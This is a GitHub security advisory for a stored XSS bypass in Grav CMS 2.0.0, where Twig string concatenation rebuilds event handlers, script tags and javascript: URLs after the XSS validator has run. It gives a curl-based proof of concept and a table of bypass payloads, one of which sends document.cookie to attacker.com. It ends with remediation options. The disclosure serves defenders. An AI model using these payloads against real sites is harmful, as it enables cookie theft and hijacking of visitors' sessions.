Skip to content

Grav: XSS Blueprint Validation Bypass via Twig String Concatenation

Moderate severity GitHub Reviewed Published Jun 24, 2026 in getgrav/grav • Updated Sep 16, 2026

Package

composer getgrav/grav (Composer)

Affected versions

= 2.0.0

Patched versions

2.0.1

Description

Summary

The XSS blueprint validator (Security::detectXss()) runs on the raw page content before Twig processing. An attacker can use Twig's string concatenation operator (~) to dynamically construct an event handler name at render time. The validator sees {{ "on" ~ "error" }} - a harmless Twig expression - and allows the content. After Twig processes the template, the output contains <img src=1 onerror=alert(1)> which is rendered via {{ content|raw }} and executes in the victim's browser.


Details

The two-stage attack exploits the separation between validation and rendering:

Stage 1 - what the XSS validator sees (raw page content):

{% set x = "on" ~ "error" %}
<img src=1 {{ x }}=alert(document.domain)>

The detectXss() function scans this string. The on_events regex looks for <[^>]*?[\s\x00-\x20\"\'\/](on\s*[a-z]+|xmlns)\s*= inside HTML tags. In {{ x }}, the { character is not in the boundary set [\s\x00-\x20\"\'\/], and x is not on. No match - passes validation.

Stage 2 - what Twig produces (after rendering):

<img src=1 onerror=alert(document.domain)>

The validator never re-inspects Twig output. The theme template renders this via {{ page.content|raw }} (confirmed in quark2/templates/default.html.twig:5), so no auto-escaping occurs.

Why {% set %} and ~ are allowed - system/config/security.yaml:125-145:

allowed_tags:
  - set          # ← allows variable assignment
  ...

The ~ operator is a core Twig operator for string concatenation (like . in PHP). It is not a function, filter, or tag — it is always available and not gated by the sandbox.

The same technique bypasses the dangerous_tags blocklist - any blocked tag name can be reconstructed:

<s{{"c"~"r"~"i"~"p"~"t"}}>alert(1)</s{{"c"~"r"~"i"~"p"~"t"}}>
{# XSS validator sees: <s{{...}}> - no <script> tag detected
   Twig output: <script>alert(1)</script> #}

Also bypasses the invalid_protocols check:

<a href="{{"java"~"script"}}:alert(1)">click</a>
{# Validator sees: href="{{...}}" - no "javascript:" protocol detected #}

Proof of Concept

Prerequisites

  1. twig_content.process_enabled: true set by admin
  2. api.pages.write permission (page creation)

Step 1 - Obtain JWT token (any user with page write access)

JWT=$(curl -s http://127.0.0.1/grav/api/v1/auth/token \
  -X POST -H "Content-Type: application/json" \
  -d '{"username":"user","password":"pass"}' \
  | python3 -c "import json,sys; print(json.load(sys.stdin)['data']['access_token'])")

Step 2 - Create page with Twig XSS payload

curl -s http://127.0.0.1/grav/api/v1/pages -X POST \
  -H "Authorization: Bearer $JWT" -H "Content-Type: application/json" \
  -d '{
    "title": "xss-page",
    "folder": "xss-page",
    "route": "/xss-page",
    "template": "default",
    "header": {"title": "xss", "process": {"markdown": false}},
    "content": "{% set x = \"on\" ~ \"error\" %}<img src=1 {{ x }}=alert(document.domain)>"
  }'

Result: 201 Created - XSS validator passes because it sees {{ x }}, not onerror.

Step 3 - Visit page → XSS fires

curl -s http://127.0.0.1/grav/xss-page | grep -oP '<img[^>]*>'
# Output: <img src=1 onerror=alert(document.domain)>

Open in browser: http://127.0.0.1/grav/xss-page - alert(document.domain) fires.
image
image

From a low-level user

Also From a low-level user normal script such as <img src=1 onerror=alert(1)> this is being blocked by the restriction.
image

But with payloads such as <a href="{{"java"~"script"}}:alert(1)">click proves that the we can bypass the blueprint restrictions and upload malicious script to it
image
image

Alternative payloads (all bypass the validator)

Payload Twig Source After Twig Triggers
Event handler <img src=1 {{"on"~"error"}}=alert(1)> <img src=1 onerror=alert(1)> Image load fails
Script tag <s{{"c"~"r"~"i"~"p"~"t"}}>alert(1)</s{{"c"~"r"~"i"~"p"~"t"}}> <script>alert(1)</script> Immediately
Protocol bypass <a href="{{"java"~"script"}}:alert(1)">click</a> <a href="javascript:alert(1)">click</a> On click
Iframe onload <i{{"f"~"r"~"a"~"m"~"e"}} {{"on"~"load"}}=alert(1)> <iframe onload=alert(1)> Page load
Details toggle <details open {{"on"~"toggle"}}=alert(1)> <details open ontoggle=alert(1)> Page load
Cookie theft <img src=1 {{"on"~"error"}}=fetch("https://attacker.com/?c="+document.cookie)> <img src=1 onerror=fetch(...)> Image load fails

Admin preview caveat

The Admin2 SPA renders page previews inside a sandboxed iframe:

<iframe sandbox="allow-same-origin allow-scripts allow-forms"></iframe>

allow-modals is not set - alert() is silenced in the admin preview. Use fetch(), document.write(), or DOM manipulation payloads to prove execution in the admin panel. The frontend page (no iframe) has no such restriction - alert() fires directly.


Impact

Once the Twig content master gate is enabled by an administrator, any user with page write access can inject stored XSS into page content that executes for all visitors. The attack:

  • Bypasses all four XSS validator regexes (on_events, invalid_protocols, dangerous_tags, html_inline_styles)
  • Bypasses the dangerous tag blocklist (reconstructs <script>, <iframe>, <svg>, etc.)
  • Bypasses the invalid protocol blocklist (reconstructs javascript:, data:)
  • Persists across page edits (stored in page content file)
  • Executes for every visitor to the page

An attacker can steal session cookies, perform actions as the victim, or deface the site.


Remediation

Option A - Re-run the XSS validator on Twig output

After Twig::processPage() renders the content, run the XSS validator on the output before it is cached and served:

// In Twig::processPage(), after rendering
$rendered = $twig->render($name, $context);
$result = Security::detectXss($rendered);
if ($result !== null) {
    // Log and sanitize or block
    Security::logTwigSandboxViolation('xss_output', $result, '', $route);
    return ''; // or return escaped version
}

Option B - Disallow ~ and {% set %} in sandboxed content (too restrictive)

Removing string concatenation or variable assignment from the sandbox would break legitimate use cases (e.g., building dynamic class names, assembling URLs).

Option C - Block dynamic attribute names in Twig output

Parse the Twig output for HTML and check if any event handler attributes were dynamically constructed. This is complex but comprehensive.

Option D - Escape HTML in rendered Twig output

Wrap the rendered output with htmlspecialchars() unless explicitly marked safe. This is the Twig default behavior — the |raw filter in theme templates bypasses it. Consider removing |raw from default themes and requiring explicit |raw only for trusted content.

References

@rhukster rhukster published to getgrav/grav Jun 24, 2026
Published by the National Vulnerability Database Jul 15, 2026
Published to the GitHub Advisory Database Sep 16, 2026
Reviewed Sep 16, 2026
Last updated Sep 16, 2026

Severity

Moderate

CVSS overall score

This score calculates overall vulnerability severity from 0 to 10 and is based on the Common Vulnerability Scoring System (CVSS).
/ 10

CVSS v4 base metrics

Exploitability Metrics
Attack Vector Network
Attack Complexity Low
Attack Requirements None
Privileges Required None
User interaction Active
Vulnerable System Impact Metrics
Confidentiality None
Integrity None
Availability None
Subsequent System Impact Metrics
Confidentiality Low
Integrity Low
Availability None

CVSS v4 base metrics

Exploitability Metrics
Attack Vector: This metric reflects the context by which vulnerability exploitation is possible. This metric value (and consequently the resulting severity) will be larger the more remote (logically, and physically) an attacker can be in order to exploit the vulnerable system. The assumption is that the number of potential attackers for a vulnerability that could be exploited from across a network is larger than the number of potential attackers that could exploit a vulnerability requiring physical access to a device, and therefore warrants a greater severity.
Attack Complexity: This metric captures measurable actions that must be taken by the attacker to actively evade or circumvent existing built-in security-enhancing conditions in order to obtain a working exploit. These are conditions whose primary purpose is to increase security and/or increase exploit engineering complexity. A vulnerability exploitable without a target-specific variable has a lower complexity than a vulnerability that would require non-trivial customization. This metric is meant to capture security mechanisms utilized by the vulnerable system.
Attack Requirements: This metric captures the prerequisite deployment and execution conditions or variables of the vulnerable system that enable the attack. These differ from security-enhancing techniques/technologies (ref Attack Complexity) as the primary purpose of these conditions is not to explicitly mitigate attacks, but rather, emerge naturally as a consequence of the deployment and execution of the vulnerable system.
Privileges Required: This metric describes the level of privileges an attacker must possess prior to successfully exploiting the vulnerability. The method by which the attacker obtains privileged credentials prior to the attack (e.g., free trial accounts), is outside the scope of this metric. Generally, self-service provisioned accounts do not constitute a privilege requirement if the attacker can grant themselves privileges as part of the attack.
User interaction: This metric captures the requirement for a human user, other than the attacker, to participate in the successful compromise of the vulnerable system. This metric determines whether the vulnerability can be exploited solely at the will of the attacker, or whether a separate user (or user-initiated process) must participate in some manner.
Vulnerable System Impact Metrics
Confidentiality: This metric measures the impact to the confidentiality of the information managed by the VULNERABLE SYSTEM due to a successfully exploited vulnerability. Confidentiality refers to limiting information access and disclosure to only authorized users, as well as preventing access by, or disclosure to, unauthorized ones.
Integrity: This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information. Integrity of the VULNERABLE SYSTEM is impacted when an attacker makes unauthorized modification of system data. Integrity is also impacted when a system user can repudiate critical actions taken in the context of the system (e.g. due to insufficient logging).
Availability: This metric measures the impact to the availability of the VULNERABLE SYSTEM resulting from a successfully exploited vulnerability. While the Confidentiality and Integrity impact metrics apply to the loss of confidentiality or integrity of data (e.g., information, files) used by the system, this metric refers to the loss of availability of the impacted system itself, such as a networked service (e.g., web, database, email). Since availability refers to the accessibility of information resources, attacks that consume network bandwidth, processor cycles, or disk space all impact the availability of a system.
Subsequent System Impact Metrics
Confidentiality: This metric measures the impact to the confidentiality of the information managed by the SUBSEQUENT SYSTEM due to a successfully exploited vulnerability. Confidentiality refers to limiting information access and disclosure to only authorized users, as well as preventing access by, or disclosure to, unauthorized ones.
Integrity: This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information. Integrity of the SUBSEQUENT SYSTEM is impacted when an attacker makes unauthorized modification of system data. Integrity is also impacted when a system user can repudiate critical actions taken in the context of the system (e.g. due to insufficient logging).
Availability: This metric measures the impact to the availability of the SUBSEQUENT SYSTEM resulting from a successfully exploited vulnerability. While the Confidentiality and Integrity impact metrics apply to the loss of confidentiality or integrity of data (e.g., information, files) used by the system, this metric refers to the loss of availability of the impacted system itself, such as a networked service (e.g., web, database, email). Since availability refers to the accessibility of information resources, attacks that consume network bandwidth, processor cycles, or disk space all impact the availability of a system.
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:A/VC:N/VI:N/VA:N/SC:L/SI:L/SA:N

EPSS score

Exploit Prediction Scoring System (EPSS)

This score estimates the probability of this vulnerability being exploited within the next 30 days. Data provided by FIRST.
(16th percentile)

Weaknesses

Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')

The product does not neutralize or incorrectly neutralizes user-controllable input before it is placed in output that is used as a web page that is served to other users. Learn more on MITRE.

Incomplete List of Disallowed Inputs

The product implements a protection mechanism that relies on a list of inputs (or properties of inputs) that are not allowed by policy or otherwise require other action to neutralize before additional processing takes place, but the list is incomplete. Learn more on MITRE.

Improper Neutralization of Special Elements Used in a Template Engine

The product uses a template engine to insert or process externally-influenced input, but it does not neutralize or incorrectly neutralizes special elements or syntax that can be interpreted as template expressions or other code directives when processed by the engine. Learn more on MITRE.

CVE ID

CVE-2026-61453

GHSA ID

GHSA-2c4f-86xc-cr74

Source code

Credits

Loading Checking history
See something to contribute? Suggest improvements for this vulnerability.